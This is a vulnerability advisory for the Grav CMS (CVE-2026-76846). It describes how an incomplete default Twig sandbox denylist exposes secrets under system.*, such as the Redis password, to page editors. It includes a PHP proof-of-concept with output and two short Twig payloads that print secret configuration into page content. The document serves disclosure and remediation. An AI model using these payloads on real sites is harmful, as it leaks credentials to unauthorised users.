CVE-2026-76846: Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
Summary system/config/security.yaml's default twigsandbox.configdeniedpaths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twigcontent.configaccess: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.
Published Sep 17, 2026
Affected packages
getgrav/grav
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.0.15
- Fixed in
- 2.0.16
- Check
composer show getgrav/grav
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.
Environment used to verify
- Grav commit at HEAD of the default branch,
GRAV_VERSION2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full
composer install --no-devrun against the real repository (no mocked dependencies) so the actualGrav\Common\Config\ConfigandGrav\Common\Twig\Sandbox\SandboxConfigclasses could be exercised directly
Commands run to set up the verification environment
git clone https://github.com/getgrav/grav.git
cd grav
# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interactionProof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: textsandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:
<?php
require 'vendor/autoload.php';
use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));
echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
print_r($sandboxConfig->toArray());Run:
php sandbox_test.phpOutput:
plugins.someplugin.api_key: string(8) "REDACTED"
system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"
Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)
)
)
[site] => Array
(
[title] => My Site
)
)plugins.* is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().
Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'So, with twig_content.process_enabled: true and twig_content.config_access: true both set (both documented, operator-controlled settings), a page containing:
{{ config.get('system.cache.redis.password') }}or
{{ config.toArray() }}renders the real Redis password directly into the page output for any user with page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented config_access opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system.* secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.
Suggested fix
Add system to the default config_denied_paths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system.* doesn't silently bypass the sandbox by default.
Affected component
system/config/security.yaml,twig_sandbox.config_denied_pathsdefault valuesystem/src/Grav/Common/Twig/Sandbox/SandboxConfig.php(behaves correctly given its input; the gap is in the default list passed to it)
Credited to alham-rizvi.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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